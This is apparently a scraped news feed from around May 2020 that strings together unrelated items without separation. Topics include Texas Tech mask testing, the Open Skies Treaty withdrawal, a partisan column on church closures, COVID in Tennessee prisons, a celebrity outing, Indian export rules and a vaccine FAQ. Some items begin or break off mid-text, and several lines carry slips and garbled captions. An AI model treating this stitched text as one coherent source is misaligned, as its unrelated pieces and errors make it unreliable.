SOURCES Centers for Disease Control and Prevention; University of Pennsylvania, Archives and Records Center; National Institutes of Health; National Endowment for the Humanities; Library of Congress; Federal Reserve History; Museum of American Finance; National Bureau of Economic Research; "When We Have a Few More Epidemics, the City Officials Will Awake," published master's thesis of historian Jeffery Anderson, Rutgers, 1997; "The Great Influenza: The Story of the Deadliest Pandemic in History" by John M. Barry, 2004; "Pale Rider: The Spanish Flu of 1918 and How It Changed the World" by Laura Spinney, 2017; "America's Forgotten Pandemic: The Influenza of 1918" by Alfred W. Crosby, 1989; "Pandemic 1918: Eyewitness Accounts from the Greatest Medical Holocaust in Modern History" by Catherine Arnold, 2018; "Influenza: The Hundred-Year Hunt to Cure the Deadliest Disease in History" by Dr. Jeremy Brown, 2018

USA TODAY research by George Petras; illustrations and graphics by Karl Gelles

This article originally appeared on USA TODAY: Spanish flu 1918: How cities fared in containing killer virus
Starr Insurance Companies has announced the appointment of Jose Ribeiro as an independent non-executive director for Starr Europe Insurance and Starr Managing Agency.

Ribeiro is based in London and has more than 30 years of experience in the financial services industry, including several leadership roles with insurance organizations. An actuary, Ribeiro began his insurance career in 1986 at AIG. After eight years with the company, he joined Munich Re. In 2002, Ribeiro headed to Willis as CEO for Latin America and the Caribbean. In 2007, he became director for international markets at Lloyds. From 2015 to 2019, he was managing director and board member for Asia-Pacific at AM Best.
In the early weeks of the coronavirus pandemic, masks were in such short supply they were nearly impossible to find. As a result, people began creating substitute masks out of anything possible - scarves, repurposed old T-shirts, even vacuum bags.

For researchers at Texas Tech University and the Texas Tech University Health Sciences Center (TTUHSC), this posed vitally important questions: Were such masks effective? Were they even safe?

As part of the newly established West Texas 3D COVID-19 Relief Consortium - a collaborative group using innovative methods to produce personal protective equipment (PPE), ventilators and ventilator components for hospitals and health care systems throughout West Texas - these researchers began the task of evaluating different types of masks suggested by the public as well as new prototypes being developed by other members of the consortium.

I set up the mask testing and design group to evaluate fit and protection. First a mask must be worn properly - a mask configuration must be properly fitted to an individual's face or it does no good at all. If the mask can be made to seal around one's face, then the material the mask is made of is sent to a group to test it for protection. We set this group up to evaluate how efficiently these materials filter particles and, if they have efficiency greater than 95%, how they can be cleaned. We also have individuals characterizing all materials tested to better understand how they work, to verify the particle challenge results and to help us design better masks for the future." Al Sacco Jr., Dean of the Edward E. Whitacre Jr. College of Engineering who assembled the testing team

The researchers come from a variety of disciplines and, accordingly, they test the masks in a variety of ways specific to their individual expertise.

Karin Ardon-Dryer, an assistant professor of atmospheric science in the Department of Geosciences who studies the health effects of aerosols - tiny particles in the air - and analytical chemist Jon Thompson, an associate professor in chemistry and biochemistry who studies the chemical and optical properties of atmospheric aerosols, are examining how well different mask materials can filter such particles.

Sharilyn Almodovar, an assistant professor in the TTUHSC Department of Immunology and Molecular Microbiology, is exposing the materials to different decontamination methods to see how they respond. In the meantime, Min Kang, TTUHSC interim senior vice president for research; Justin White, senior director in the TTUHSC President's Office; and Dr. Jnev Biros, a research associate in the engineering dean's office, are studying how well those materials can be sterilized for reuse.

Juliusz Warzywoda and Rumeysa Tekin, in the Materials Characterization Center, are imaging and analyzing the materials' particle and fiber size distribution to learn more about them.

"There are so many components," Ardon-Dryer said. "It's a really big team and everyone contributes to one aspect of it, or to several. But, it's all a crucial part of the puzzle."

"One piece only is not enough to determine which mask or filter is better," Tekin agreed. "That's why each team member is working on different things to understand the mask performance."

Together, the team hopes to be able to provide a useful recommendation for those who so badly need masks for protection.

"We have put together a wonderful, innovative group of caring professionals," Sacco said. "This is a cross-disciplinary, integrated effort to inform health care professionals, first responders and groups like the police how to wear masks and what mask is best for their applications."

Fit, seal and breathability

Because most of the masks to be tested arrive already fabricated, the group tests the assembled masks before deconstructing them to test their materials.

As the first step in testing, Weeks and Hope-Weeks examine how well each mask fits the wearer's face, whether it creates an effective seal around the outer edges and how well the wearer can breathe in it.

"We use a device that measures the concentration of particles inside the mask vs. outside the mask," Weeks said. "It has two tubes, one is outside the mask and the other inside. The efficiency of the mask is the ratio of these two numbers. For example, an N95 mask would remove 95% of the particles 300 nanometers or larger."

In order to directly compare masks to one another without having to account for issues between different wearers, all masks are being tested on one subject: Hope-Weeks.

"We do the mask testing in a closer-to-real-world setting to make sure the entire mask is efficient, from the nose bridge to the ties to hold it on," Weeks said. "We worked with a nurse, Molly Bates, who was sewing, and actually using in the emergency room, masks that she made. The first ones we had, there were challenges to get it to seal around the nose and cheeks. By using some of our information, she was able to move the placement of the ties and change the nose bridge wire and we got a much better seal."

Particle filtration

Ardon-Dryer now has an elaborate setup she designed for the sole purpose of testing how well different mask materials are able to stop particles in the air from being inhaled.

In her lab, Ardon-Dryer uses her instruments to generate and count spherical particles which are 250 nanometers in size. The particles are evenly divided into two groups. One group is funneled directly into what's effectively a counting instrument. The other group must pass through a sample of the mask material being tested on its way to an identical counter instrument.

By comparing the number of potential particles and the number of particles the mask stopped, the material can be graded on its effectiveness. The particle size is also important because, while 250 nanometers is significantly larger than the size of the coronavirus particles, it is smaller than the 300 nanometers that N95 masks are supposed to block. This means her setup can determine the effectiveness of the tested materials in comparison to those comprising N95s.

In her testing, Ardon-Dryer tried to account for additional factors that can influence the material efficiency, such as air flow rate and time.

"At rest, you're breathing seven or eight liters per minute, but when you're active it's considerably higher and it can result in more particles being inhaled," she said. "Also, how long is this material going to be used for? Is it good for one hour or can a health worker do a whole shift of 12 hours with it? We can't test all the possible combinations, but we've run three-hour-long experiments at multiple flow rates to see if it's actually going to work or if we see a decrease in efficiency."

So far, Ardon-Dryer has examined a wide variety of mask materials, including N95s, KN95s from China, HEPA filters, cotton fabrics and more.

"Whatever we can put our hands on and test, that helps us to understand how efficient the material is and how can we make it better."

Materials characterization

Warzywoda and Tekin are using the technology available in the Materials Characterization Center (MCC) to image and analyze specific features of the different materials, such as particle and fiber size distribution.

"I think the MCC is key in this effort," Tekin said. "In the MCC, we have advanced instruments such as a scanning electron microscope, infrared spectrometer, Raman microscope spectrometer, etc."

The scanning electron microscope, for instance, is used to examine the materials through which particles have been passed. With the microscope, the researchers can see how well the various fabrics captured the particles.

She emphasized that any one tool - or indeed any one approach - cannot by itself give an accurate determination of which material is the best. That, she said, is why it's so important to be part of a large team all working together to answer the question from as many perspectives as possible - because at the heart of it all is the health and safety of the people working to ensure the health and safety of everyone else.

"We are hoping to measure the performance of the new mask materials which will protect first responders - our heroes - in the battle against COVID-19," Tekin said. "We are thrilled to be able to contribute to these projects."

Mask sterilization

Almodovar and Biros are using a real-world approach to testing the mask materials: exposing them to a virus and then examining both how well they can be sterilized and what method of sterilization is most effective.

Because of the stringent testing restrictions for labs actually using SARS-CoV-2, the virus that causes COVID-19, Almodovar is running the experiments with a different virus that's similar in structure.

"That will provide us with a proof of concept for eliminating pathogens with certain decontamination methods," Biros said.

The testing allows the researchers to evaluate not only how the materials respond to various cleaning methods, but also how often they can be used safely, Sacco said.

One such method, with which Kang and collaborators at The Institute of Environmental and Human Health are decontaminating PPE for regional health care institutions, uses a special chamber filled with wire shelves. Up to 10,000 masks can be placed inside at a time, which are then exposed to a special vapor for 15 minutes before being allowed to aerate for four to five hours. Bioindicator cards containing hard-to-kill bacteria are put in the chamber with the masks to indicate that the decontamination process is complete.

While the coronavirus pandemic has presented challenges to researchers from many backgrounds, it's also presented an opportunity for them to pull together to face the threat, Biros said.

"This has been such a bewildering experience for us all over past weeks," Biros said. "And yet our team put forth not only fast-paced innovation, but also our unparalleled sense of community dedication. We have faculty, staff, students and community partners from an unthinkable scope of disciplines across West Texas to make sure we do our best to provide the needed support for our fellow health care workers in their good fight of sacrifice and determination."

Why it matters

The point, Weeks said, is that PPE is needed for many more people than are on the front lines of the coronavirus fight.

"People need to remember that most of the medical community is not directly working with COVID-19 patients," Weeks said. "They, too, need PPE to safely do their jobs. When we found out there are doctors and nurses making and using their own masks because the high-quality PPE was used for COVID-19 patients, it really sunk in how this impacts people all over the medical community. Even if we can't make a mask that meets the N95 standard, it is nice to know that we are helping others do their job as safely as possible.

"Doing nothing is not an option."

One reason the group's work is so important is to counteract misinformation.

"The elemental objective of this project is to provide authorities and even concerned citizens with evidence-based recommendations in their decision-making process for the use of mask material and patterns," Biros said. "We hope to provide recommendations on mask-making procedures backed up with solid scientific evidence that will guide the mask users through many materials that are falsely assumed to be effective in protection."

To put it bluntly, that means helping people realize they're wasting their time, and putting themselves and others in danger, by making masks out of ineffective materials.

"About the time we started, an article came out on how blue shop towels were the best material for masks available," Weeks said. "The internet was blowing up about this because they were cheap and simple. However, we found they were terrible and not effective at all. We were able to get people locally to stop sewing these masks pretty quickly."

In such cases, discovering the materials that don't work is just as important as finding those that do.

"If we know the materials that are not good, we know not to recommend them," Ardon-Dryer said. "If we know that there are some materials that are better, we can move to the next step and test them more. So, it's a piece of the puzzle, really, and we're trying to go over every piece. If we're missing one piece, we don't answer all the questions, and we must, because this involves people's lives."

All the researchers expressed a sense of pride at being involved in the consortium's work and, above all, a desire to make a difference for the good of the community.

"I've never done anything like this," Weeks said, "but we work with a bunch of smart people. When people put their knowledge behind things collaboratively, it is possible to make big impacts rather quickly."
The Trump administration has made a final decision to withdraw from the Open Skies Treaty, sources confirmed to Defense News on Thursday.

The news was confirmed by U.S. President Donald Trump midday, followed by a formal announcement by Secretary of State Mike Pompeo that the administration will make a formal notification on Friday, kicking off a six-month clock before a formal exit occurs.

We may, however, reconsider our withdrawal should Russia return to full compliance with the Treaty, Pompeo said in a statement.

What full compliance means, however, is unclear. Chris Ford, assistant secretary of state for international security and nonproliferation, told reporters there are many variables as to what that would entail, particularly as a number of American complaints about Russian activities involve behaviors that, Ford acknowledged, are not in fact violations of the treaty.
Disaster was narrowly avoided after the door of an Air Corps helicopter fell off mid-flight and landed in the grounds of a Dublin school. The incident happened in the Clondalkin area yesterday evening. It is understood a number of people who were on the grounds of Moyle Park College secondary school had a lucky escape when the door landed on a green area near them.

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Dr. Richard Land once called our country, the divided states of America. How apt  especially when we survey the various responses to the coronavirus. They are lessons in liberty and lessons in tyranny.

To paraphrase what a friend of mine wrote me recently, We have 50 real-world government examples of liberty or tyranny  50 real-time experiments in whether state governments moved towards liberty (as in Texas and South Dakota) or absolute control (as in California, Michigan, and New York). As a resident, I would add: Floridas leadership is doing a great job.

Nowhere can this contrast be better seen than in how the state authorities deal with churches versus how they deal with abortion, ordering churches closed while deeming Planned Parenthood and other abortionists essential services.

How fitting. In her classic book, Godless, Ann Coulter postulates that abortion is the lefts sacrament. The sacraments of the church are out. The lefts new sacrament is in. The most pro-abortion leaders are the ones who are most cracking down on real constitutional freedoms in their states. If a politician gets abortion wrong, they tend to get everything else wrong too.

This anti-religious spirit at work is exceedingly ironic because America was born as a religious nation. In the Mayflower Compact, the Pilgrims explained their reason for coming: for the glory of God and the advancement of the Christian faith.

Our First Amendment declares our first freedom  freedom of religion. The founders stipulated there would be no national denomination and there would be no prohibition on the free exercise of religion. They didnt add, except in times of pestilence.

Indeed, Attorney General William Barr sides with the churches (following social distancing guidelines, etc.) in this conflict. He said, There is no pandemic exception to the Constitution and its Bill of Rights.

But many of the left today have used the pandemic crisis to try and shut down a lot of religious services:

 The mayor of Kansas City, Missouri, was demanding that churches hand over a list of anyone who attended any of their services. When Mat Staver and Liberty Counsel threatened to sue, the city backed down.

 The governor of Illinois postulated that church services may need to be banned for a year. This is the same governor who prohibited residents in his state from traveling  while apparently his wife vacationed in Florida.

 Overzealous administrators have sought to ban churches even from holding drive-in church services, which follow the mandates to prevent the spread of the coronavirus.

If your church parking lot permits, holding a drive-in service is a clever way to worship the Lord together. Usually, the pastor would preach to the congregation in their cars though a low frequency on the FM dial in such services.

But even in the Bible belt, such as in Kentucky and Mississippi, some overzealous administrators have tried to shut such services down. First Liberty Institute has threatened lawsuits, and the cities have relented.

The Wall Street Journal (5/12/20) had an editorial entitled, Caesar, God and the Lockdowns, in which they note, A federal court ruling on religious liberty is a lesson to governors.

The editorial talks about Maryville Baptist Church in Louisville, which held a modest Easter service  with some worshipers inside and others in the parking lot, hearing the service through a loudspeaker.

To harass the worshipers, notes the WSJ, The police took down license-plate numbers. The church sued.

A panel on the Sixth Circuit ruled in favor of the church: Its not always easy to decide what is Caesars and what is Gods  and thats assuredly true in the context of a pandemic.Why is it safe to wait in a car for a liquor store to open but dangerous to wait in a car to hear morning prayers?

A new report out of Chicago over the weekend shows the lengths to which the anti-God forces will go. Wirepoints (5/18/20) observes that the mayor sought to punish a church, Philadelphia Romanian Church, to prevent it from holding services. They stated, On Sunday morning the tow trucks descended  not just on churchgoers, but on residents and everybody else, and on a private lot used by parishioners.

The pastor of the church said, The mayor is inciting hate against the church which is very sad. A lot of our members risked their lives to escape Communism, only to find it germinating in 2020 under Mayor Lightfoot in Chicago. Lightfoot is so committed to abortion rights, she helped drive out of office one of the last Democrat, pro-life U. S. Congressmen.

Wirepoints adds, It should also be a clarion call to the churches across the city as to how far the left will go to crush the faithful of all denominations.

Freedom-loving Americans can look at a map of the country and see how those on the left versus those on the right are delicately handling the crisis. The abortion-loving, church-hating politicians stand in great contrast with their freedom-loving counterparts in the red states.
WASHINGTON (dpa-AFX) - In a rare operation in the high sees, a guided missile destroyer of the U.S. Navy intercepted a drug vessel in the eastern Pacific Ocean, and seized an estimated 3,000 pounds of cocaine, worth more than $28 million in international market. The USS Pinckney, with an embarked Coast Guard law enforcement team on board, conducted the successful operation on May 14. A patrol aircraft assigned to the 'Tridents' squadron spotted the low-profile vessel. The war ship's Sea Hawk helicopters and Coast Guard team aboard fast boats intercepted it. They recovered 70 bales of cocaine. The USS Pinckney is deployed to the U.S. 4th Fleet area of operations conducting U.S Southern Command and Joint Inter-agency Task Force South's enhanced counter-drug operations missions in the Caribbean Sea and the Eastern Pacific. U.S. Southern Command had launched enhanced counter-narcotics operations in the Western Hemisphere last month to disrupt the flow of drugs. This reportedly marks the beginning of a new age in narco-submarine interdiction as part of the Trump administration's advanced counter-narcotics operations. Copyright RTT News/dpa-AFX

Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann.
Today marks 30 years since the establishment of full diplomatic relations between Greece and Israel. On 21 May 1990, on the initiative of then prime minister Konstantinos Mitsotakis, the major step towards the upgrade of bilateral relations between the cradle of Democracy and a modern and dynamic Democracy in the Middle East region was taken.



Since then, an important strategic partnership in our region has been forged. Greece and Israel, countries rich in history and culture, mature societies with highly educated and active citizens, with economies based on advanced technological and financial infrastructure, are collaborating effectively. Through this multifaceted partnership, we are also setting an important example: Cooperation is the only way to ensure security, stability and prosperity in our region.



Today, our cooperation extends into the fields of science, culture, trade, innovation, energy, tourism, and security and defence  and it is constantly developing in new fields. There is still much that can be done, much more to achieve. We wish to further intensify our relations, strengthening and deepening the institutional framework and contacts on the level of civil society. The Greek Jewish community and the Greek Orthodox Patriarchate in Jerusalem already constitute strong bridges of friendship between the two countries; as do our diaspora organizations, especially in the USA, which are building an invaluable relationship. A relationship that is reflected in both our bilateral relations and Greek-Israeli relations with the USA.



New ties are steadily being added to these relations, further enriching the heritage that historically links the two peoples. The friendship between us is apparent in the ever-growing tourism traffic between our two countries and the increasing interest of Israeli entrepreneurs in investing in Greece.



Today, Israel and Greece are working together to combat anti-Semitism and the Greek State always stands in support of the Greek Jewish community. As Greeks, we consider it our duty to keep the memory of the Holocaust alive. The memory of these tragic events must remain indelible so as to ensure that the Nazi atrocities are never repeated; to ensure that latter-day fascists find no fertile ground for spreading the ideology of hatred that they represent and that they continue to be defeated, thanks to the deep-rooted democratic convictions of our peoples. This purpose will be served by the Holocaust Museum currently under construction in Thessaloniki and the new permanent Greek exhibition at Auschwitz. In the same context, Greece will be holding the presidency of the International Holocaust Remembrance Alliance (IHRA) in 2021.



The upgrading of our relations is having a positive impact not only on a bilateral level, but also in the unstable environment of the Eastern Mediterranean. Our trilateral cooperation with the Republic of Cyprus  with the support and participation of the USA in a 3+1 format  works in the same direction. Collaboration that is open to, rather than directed against, third countries, on the condition of course of respect for international law and good neighbourly relations. A partnership that aims to act as catalyst for the promotion of peace, stability, security and prosperity in the Eastern Mediterranean and the Middle East. Prosperity that will also be further strengthened by the implementation of pivotal infrastructure projects such as the East Med pipeline, a project of added strategic, economic and political value, the foundations of which were laid by the signing of a relevant agreement in Athens earlier this year.



At the same time, Greece remains firmly committed to strengthening the partnership between the European Union and Israel.



If you dont believe in miracles, you are not a realist, David Ben-Gurion said. Over the past 30 years, Greece and Israel we 've achieved much more that perhaps even we expected. A small miracle. Today, we are united by so much that I am convinced this friendship and partnership will surge ahead in the immediate and more distant future. To this end, I look forward to regular exchanges of views and excellent cooperation with my newly appointed colleague, Gabi Ashkenazi, with whom I will meet as soon as conditions allow.
Tamil Nadu Chief Minister K



Palaniswami on Friday congratulated Harsh Vardhan on his taking over as Chairman of WHO Executive Board, saying it was a matter of pride for the country and a "fitting" recognition for the Union Health Minister.

Vardhan, who is at the forefront of India's battle against COVID-19 pandemic, took charge as the chairman of the 34-member WHO Executive Board today, succeeding Dr Hiroki Nakatani from Japan.

"It is a matter of pride for India that a person from our country has attained such a high position through ability and dint of hard work," Palaniswami said in a cogratulatory letter to Vardhan.

"It is a fitting recognition of your long and distinguished career. On behalf of the people and Government of Tamil Nadu, I congratulate you and wish you all success," he said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Jessica Blevins's husband patrols the cells at the Bledsoe County Correctional Complex, a state prison in the foothills of southeastern Tennessee. Vicky Scroggins's boyfriend is locked in one.

On a recent Friday, the two women piled into Scroggins's Nissan Quest van and drove the 130 miles to Nashville. They mounted a protest on the streets of the state capital, calling on the governor, Republican Bill Lee, to do more to protect their loved ones from the coronavirus, which has torn through the prison, infecting about a quarter of the inmates and turning Bledsoe County (population 14,755) into one of the hardest-hit communities in America. One person incarcerated there has died.

"Speak up," read a sign, citing Proverbs 31:8. "Why," another asked, did the state "wait 29 days to test officers and staff? Why 38 days for inmates that were exposed?"

National attention has been riveted on armed protesters challenging Democratic-imposed lockdowns at the encouragement of President Donald Trump. Blevins and Scroggins are part of a movement that has gained much less notice - worried Americans asking for heightened precautions in parts of the country where virus hot spots at prisons and food processing plants are affecting people who traditionally have lacked political power.

The indiscriminate nature of the virus means corrections officers, who often endure low pay and difficult working conditions, are vulnerable alongside the inmates they guard. They face the added risk of bringing the virus home to their families.

Across Tennessee, more than 100 corrections employees have been infected, according to data released by the state. Some have bolted, choosing to take leave rather than remaining in the petri dish of prison.

The same opportunity is not available to inmates. More than 2,600 have been infected in state prisons, including those that are privately managed.

State officials say they have been responsive to the concerns, sanitizing the facilities and conducting widespread testing. "We had a plan very early on," said Tony Parker, the corrections commissioner.

The women on the front lines say otherwise. Shared fear has joined Blevins and Scroggins in an unlikely alliance - swept up in a small but growing effort to put pressure on Tennessee officials to address what activists say has been a disjointed and delayed response to a crisis in their prisons.

"It's not about whether you're an inmate's spouse or an officer's spouse," said Blevins, a 27-year-old mother of five. "It's about lives being in danger."

Scroggins's boyfriend, who on Christmas Day will have six years left in his sentence for second-degree murder, tested positive for the virus last month. She said the pandemic has given her an enlarged sense of kinship, including with front-line prison staff. "We've become like a whole different family," said the 58-year-old, who works for a company that shuttles people to their doctor's appointments.

The two women - more than three decades apart in age but both native to the South - met through Christopher J. Hale, a Democratic candidate for Congress in the district that includes the Bledsoe prison.

Hale, a religious activist who helped lead Catholic outreach for former President Barack Obama's 2012 reelection campaign, hosted the women on a Facebook Live broadcast last month.

"These communities, ordinarily opposed, are now participating in the same struggle," Hale said.

By then, Blevins had entered a private Facebook group for "BCCX Loved Ones," where 83 users - mostly inmate spouses - have gathered in a "safe place to share concerns and information," as its creator described its purpose in a post on April 21.

Blevins, as the spouse of an officer, had to justify her participation, which she couched in spiritual terms likely to resonate in the Bible Belt community: "When God says stop, I will," she wrote. "Until then I am going to continue to fight daily until my voice is heard!"

She aimed to show that her husband was not responsible for the safety conditions but, rather, that he was similarly vulnerable to decisions made by the state.

"Hey, it's not the lower staff's fault," she recalled telling them. "Not everyone takes a power trip being a corrections officer."

The reception has been mixed. Rebecca Phillips, whose husband is incarcerated at Bledsoe, said the presence of spouses of prison staff made her nervous, "especially considering the Department of Corrections has not been honest about what's going on."

"There's a lot of us who really appreciate her, but others are just used to being skeptical," Scroggins said. "So they think she's a mole, or a spy."

Scroggins sees matters differently. She said her fellow protester is taking a risk by speaking out.

The risk has already become acute for Blevins and her husband, Aaron, who was questioned this month by prison officials about his wife's broadsides on social media about the corrections department. He earlier sparred with his supervisors when he tried to wear a mask to work in early March.

"They said it covered too much of my identity and would scare the inmates," the corrections officer said. "They felt like it would play up the virus, and they didn't want the inmates to be rebellious and scared because of the virus."

His quest to cover his face was partly out of concern for the safety of the inmates, whom he did not want to risk infecting. Clusters of cells were already seeing signs of a possible outbreak, recalled the 31-year-old. "And at that point, I was like, 'Why don't we lock them all down for their sake?' "

"I've heard of that incident," said Parker, the corrections commissioner, attributing the dispute to early confusion about requirements for face coverings.

Masks are only one flash point in criticism of the state's handling of the surge of cases in prisons. One inmate at a different facility went so far as to submit a formal grievance last month.

"Over the last few weeks several staff have told numerous inmates that they believe covid-19 is eventually going to be introduced . . . " the grievance read, "because staff who report that they are feeling sick are being made to work, as long as they state they haven't been around anybody who they know has covid-19."

At the time, there were no documented cases in the facility, Northeast Correctional Complex, in Johnson County, Tennessee. Now there are 10 cases among inmates, according to state data. An inmate said most who were infected were kitchen workers.

A spokeswoman for the state prisons department, Dorinda Carter, said the grievance was resolved, adding, "The Department of Correction does not allow covid-positive employees to continue working."

While visitation was shut down across the state on March 12, critics fault corrections officials for moving too slowly to suspend other activities, such as educational programs that continued bringing teachers into the facilities weeks after the governor had urged schools to shut down.

They also argue that the state failed to set standards for use of personal protective equipment, which was the subject of an April 10 memo titled, "Instructions on appropriate mask handling." By then, there were already 4,862 cases in the state and nearly 100 deaths.

It was not until the same day, Good Friday, that the Department of Corrections undertook to test its staff systematically, according to documents released through a public records request submitted by Hale, the congressional candidate, and provided to The Washington Post. The first inmate in the state system tested positive a week earlier, on April 3, according to Lisa Piercey, the state health commissioner. Carter, the corrections spokeswoman, said the first officer was found to be positive "around April 12 or 13."

At the Bledsoe prison, corrections officials initiated a plan on April 18 to test "select members of the inmate population" at the facility, according to a department memo.

Initially, a red sticker on a cell at Bledsoe designated a positive case, according to interviews with two corrections officers, who spoke on the condition of anonymity to avoid retribution. They alleged that the inmate who had been infected was not always told of the result - a claim denied by Parker, the state corrections commissioner, who said "they were told in a timely manner."

Eventually, inmates who had tested positive were moved into a quarantine unit, and others were rotated into their vacated cells, which were sprayed with disinfectant, the officers said.

"It's a good ol' boys club down here," one officer said, explaining why he could not speak out. "You don't rock the boat with that kind of stuff. We're not a union. They can fire us for breathing in the wrong direction."

Blevins and Scroggins say the protests are having an effect. Another demonstration took place Thursday outside the governor's mansion, demanding better health care and policies to end mass incarceration in the state.

Meanwhile, the entire state prison population has now been tested, officials said. Parker said initial cases spurred quarantine and contact-tracing efforts. He said that all inmates were informed of their results, followed by isolation and daily evaluation of inmates found to be positive.

Parker attributed early confusion about masks to "concern of shortage of personal protective equipment on the national level," acknowledging, "We were not issuing PPEs for every officer to wear at the very beginning of this incident."

Complicating the response was the rate of asymptomatic cases, which Parker said was nearly 98% at the hardest-hit prisons. That figure would be a global anomaly, epidemiologists said.

"I'm scratching my head," said Marc Stern, a professor at the University of Washington and a former assistant secretary for health services for the Washington State Department of Corrections. He said inmates could be pre-symptomatic, or they could be afraid of reporting symptoms - either to avoid being spurned by fellow inmates or because they lack faith in prison health services.

Scroggins's boyfriend, Eric Bowman, was asymptomatic when he tested positive last month. But he had flu-like symptoms in March, she said, which he now attributes to the virus.

Once inmates go 14 days without symptoms, they are classified as "recovered" by the state, even though none has been retested. "It's a joke," said Phillips, whose husband tested negative last month but has not been retested.

Piercey, the state health commissioner, acknowledged an "emerging need for retesting" as the facilities, like nursing homes and food processing plants, become deadly incubators for the virus.

In Tennessee, officials say only four prisoners have died of covid-19. That count is distrusted by inmates, who have traded stories of fellow prisoners being escorted out of their cells with punishing coughs, their deaths later attributed to a stroke or an unrelated ailment.

"A bunch of us were sick around him," said one inmate in a privately run prison in the south-central part of the state, referring to a man who died in March after exhibiting flu-like symptoms. "I lost my voice for about four days. We thought we had summer cold."

Both the governor's office and the corrections department have held calls with advocacy groups to hear their concerns. An April 15 call focused on testing - an area where the governor has celebrated significant strides.

"We believe that we are the first state in the country to take this action," Lee said this month of the plan to pursue mass testing. Other states have since taken similar steps, with Maryland officials saying this week they would conduct universal testing at prisons and juvenile centers.

But Tennessee leaders have not been receptive to calls to reduce the prison population, primarily by forgiving technical violations or the final year to two years of sentences.

"I'm so glad they're ramping up testing, but that will only show us the scale of the problem," said Hedy Weinberg, the executive director of the Tennessee ACLU. "It will not resolve it."

Gillum Ferguson, a spokesman for the governor, said the state was "not considering early release at this time."

Early release would not spare Scroggins's boyfriend, who has too many years left in his sentence. But it could free up space at Bledsoe, and reduce his vulnerability to the virus in the cramped confines of lockup, where social distancing typically only occurs when it's leveled as a punishment in the form of solitary confinement.

That could benefit Blevins's husband, too. It's a priority Scroggins once would have been unlikely to consider. The pandemic has changed that.

"There's a lot of good people who work at Bledsoe," she said. "I want to make that very clear."
If there's one consistent silver lining during quarantine amid the COVID-19 pandemic, it's been the quality time spent in close quarters with family and loved ones.

And that's exactly what actress Brigette Nielsen has been doing at her home in Los Angeles with husband Mattia Dessi and their soon-to-be two-year-old daughter Frida.

On Thursday the couple took a break from their sequester and headed outside for a bike ride with Frida, which in recent days the Rocky IV star described as 'loving the family-team time.'

Family time: Brigette Nielsen, 56, went on a bike ride with her daughter Friday, nearly two-years-old, around their Los Angeles neighborhood on Thursday

The couple, who will celebrate their fourteenth wedding anniversary in July, acted as a team and secured their little girl in a red bike seat that was fitted near the handle bars.

Dressed in casual but stylish in tight tan pants and a matching tan and white-patterned shirt, the former Danish model and Frida then proceeded to take a ride around their neighborhood.

She also donned sunglasses and had her trademark short platinum blonde tresses styled back off her face and with a little bit of a spiky look.

Frida looked adorable in a light pink ensemble and a hot pink safety helmet over her short brown hair.

Doting dad and hubby: Nielsen's husband, Mattia Dessi, 41, helped secure their daughter in her seat, and was there to greet them following their bike ride

Quality time: The Danish model and actress dressed in casual but stylish in tight tan pants and a matching tan and white-patterned shirt for her afternoon jaunt

As the mother-daughter tandem wound down their ride, Dessi, 41, and the family dog were there to greet them and help Frida out of her seat.

Dessi, who's a native of Italy, kept it casual in the fashion department in dark grey sweatpants, a matching sweatshirt and black sneakers

Frida is Nielsen's fifth child and first daughter.

The Red Sonya star got pregnant through in vitro fertilization after more than 10-years of treatments. Yearning to be a mother again, she had the foresight to have some of her eggs frozen when she was 40.

Fresh breath of air: Mother and daughter have been using bike riding as a means to break up their home sequester in the wake of the COVID-19 pandemic

Nielson has been married five times, which includes second husband and screen legend Sylvester Stallone, but the couple's two-year marriage did no result in any children.

She is mother to Julian Winding, 36, Killian Marcus Nielsen, 30, Aaron Nielsen, 27, and Raoul Ayrton Meyer Jr, 24.

Nielsen reprised her Rocky role as Ludmilia Drago in 2018's Creed II.

She first made her mark in Hollywood with roles in Red Sonya (1985), Rocky IV (1985), Cobra (1986) and Beverly Hills Cop II (1987). She also has starred in a number of reality shows that includes Celebrity Rehab with Dr. Drew and Flavor of Love.
LIVE updates of the Reserve Bank of India (RBI)'s Monetary Policy Committee (MPC) decisions

The Reserve Bank of India (RBI) has permitted an increase in the period of realisation and repatriation of export proceeds to India to 15 months (from nine months earlier) from the date of export up to or on July 31.

"It has now been decided to increase the maximum permissible period of pre-shipment and post-shipment export credit sanctioned by banks from the existing one year to 15 months, for disbursements made up to July 31," the RBI said in a statement.

The central bank said the deepening of the contraction in global activity and trade, accentuated by the outbreak of COVID-19 and its rapid spread, has crippled external demand. This has impacted Indias exports and imports both of which have contracted sharply in recent months.

"In view of the importance of exports in earning foreign exchange and in providing income and employment; and of imports in bringing in essential requirements of raw materials, intermediates, finished goods and technology, measures are being taken to support the foreign trade sector." it said.

RBI said the move comes in the backdrop of exporters facing genuine difficulties such as delay or postponement of orders and delay in realisation of bills, which is adversely affecting their production and realisation cycles.

COVID-19 Vaccine Frequently Asked Questions View more How does a vaccine work? A vaccine works by mimicking a natural infection. A vaccine not only induces immune response to protect people from any future COVID-19 infection, but also helps quickly build herd immunity to put an end to the pandemic. Herd immunity occurs when a sufficient percentage of a population becomes immune to a disease, making the spread of disease from person to person unlikely. The good news is that SARS-CoV-2 virus has been fairly stable, which increases the viability of a vaccine. How many types of vaccines are there? There are broadly four types of vaccine  one, a vaccine based on the whole virus (this could be either inactivated, or an attenuated [weakened] virus vaccine); two, a non-replicating viral vector vaccine that uses a benign virus as vector that carries the antigen of SARS-CoV; three, nucleic-acid vaccines that have genetic material like DNA and RNA of antigens like spike protein given to a person, helping human cells decode genetic material and produce the vaccine; and four, protein subunit vaccine wherein the recombinant proteins of SARS-COV-2 along with an adjuvant (booster) is given as a vaccine. What does it take to develop a vaccine of this kind? Vaccine development is a long, complex process. Unlike drugs that are given to people with a diseased, vaccines are given to healthy people and also vulnerable sections such as children, pregnant women and the elderly. So rigorous tests are compulsory. History says that the fastest time it took to develop a vaccine is five years, but it usually takes double or sometimes triple that time. View more Show

